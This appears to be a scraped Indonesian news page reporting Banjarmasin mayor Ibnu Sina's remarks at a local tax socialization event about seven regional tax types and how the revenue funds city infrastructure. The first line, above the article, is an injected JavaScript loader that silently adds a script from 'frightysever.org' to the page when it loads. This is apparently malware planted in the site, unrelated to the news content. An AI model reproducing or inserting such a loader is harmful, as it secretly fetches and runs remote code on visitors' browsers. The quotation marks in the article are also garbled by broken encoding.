(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sesuai UU tentang Pajak Daerah dan Retribusi Daerah serta beberapa Perda Kota Banjarmasin yang mengatur tentang pajak daerah, Pemko Banjarmasin diberikan kewenangan untuk memungut 7 jenis pajak. Pajak tersebut diantaranya, pajak tentang hotel, pajak restauran, pajak hiburan, pajak bumi dan bangunan, pajak reklame, pajak penerangan jalan dan BPHTB perolehan hak tanah dan bangunan.
“Saya harap kepada para wajib pajak dapat mengetahui informasi tersebut, baik jenis, dasar-dasar pengenaan tarif, dan cara perhitungannya, kemudian masa pajaknya, termasuk juga pemahaman tentang petunjuk pelaksanaan pemungutan serta kewajiban membayar pajak tepat waktu dengan didukung laporan pajak yang handal,†ujar Walikota Ibnu Sina saat menyampaikan sambutannya dalam kegiatan Sosialisasi Pajak Daerah di Hotel Golden Tulip Banjarmasin, Jumat (8/2).
Menurutnya, kegiatan sosialisasi tersebut bertujuan agar tidak terjadi kekeliruan dan kesalahpahaman semua pihak dalam menyikapi pungutan pajak daerah tersebut. Karena itu ia berharap kegiatan sosialisasi tersebut bisa dilaksanakan secara berkesinambungan minimal 2 kali dalam 1 tahun. “Ini yang pertama di tahun 2019. Insyaallah di pertengahan tahun akan ada sekali lagi sosialisasi untuk sekaligus bertujuan untuk evaluasi,†jelasnya.
Dengan tertibnya pembayaran pajak daerah oleh wajib pajak, terangnya lagi, maka pembangunan di kota berslogan Kayuh Baimbai ini akan terlaksana secara berkeseinambungan.
Pada kesempatan tersebut, Walikota Banjarmasin ini juga menjelaskan tentang penggunaan anggaran yang didapatkan dari hasil pemungutan pajak. Katanya, pajak daerah itu dipergunakan Pemko Banjarmasin untuk melakukan pembenahan kota seperti membangun berbagai infrastruktur yangdapat dinikmati oleh seluruh lapisan masyarakat.
“Dengan pajak ini lah kita bisa membangun Kota Banjarmasin. Masih banyak insfratuktur insfratuktur lain yang harus kita penuhi. Rumah sakit gedung ketiganya akan kita selesaikan tahun ini, anggarannya juga cukup besar masih sekira Rp 70 miliar, kemudian penyelesaian trotoar sepanjang Jalan A Yani yang saat ini baru dapat 2 km di kiri dan kanannya,†bebernya.(mario)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.